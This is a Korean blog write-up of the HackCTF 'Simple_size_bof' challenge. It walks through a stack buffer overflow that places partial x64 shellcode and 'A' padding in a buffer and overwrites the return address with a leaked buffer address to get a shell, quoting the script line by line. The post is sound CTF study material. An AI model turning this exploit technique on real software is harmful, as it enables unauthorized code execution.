본문 바로가기

Layer7

HackCTF : Simple_size_bof


서버에 접속해 보면, 문장을 출력한 후, buf의 주소를 출력하고 입력을 받는다는 걸 알 수 있다.

 

코드를 보면 puts 함수를 통해서 문장을 출력하고, buf의 주소를 출력한 후 변수v4에 다시 입력을 받는다

 

이 문제는 다음과 같은 방법으로 쉘을 획득할 수 있다

① 변수 v4의 주소(16진수 문자열)를 v4_address 변수에 int형으로 저장한다.

② 변수 v4 (27,952바이트) + sfp (8바이트) = 27,960바이트를 쉘 코드와 문자 A로 채운다.

③ ret (4바이트)에는 쉘 코드로 채운 변수 v4의 주소를 채운다

line 6 r.recvuntil( 'buf: ') buf: 이후부터 data를 받아 저장할 수 있도록 함
line 7 v4_address = int( r.recv(10), 16) buf: 이후 데이터 16진수 문자열을 int형으로 v4_address에 저장
v4 (27,952바이트) + sfp (8바이트) = 27,960바이트 를 쉘 코드와 "A"로 채운 후, ret 4바이트에 v4_address를 채워준다
line 10 payload +=b"\x48\x31\xff\x48\x31\ ... 쉘 코드 31바이트
line 11 payload +=b"A" *27929 27,960바이트 중 31바이트를 제외한 27,929바이트를 A로 채움
line 12 payload +=p64(v4_address) ret 4바이트는 v4_address로 채움

 

 

'Layer7' 카테고리의 다른 글

메모리 보호기법 (Memory Mitigation)  (0) 2021.07.13
HackCTF : Simple_overflow_ver_2  (0) 2021.07.12
HackCTF : 내 버퍼가 흘러넘친다!!!  (0) 2021.07.12
Dream hack : basic_exploitation_000  (0) 2021.07.11
HackCTF : x64 buffer overflow  (0) 2021.06.16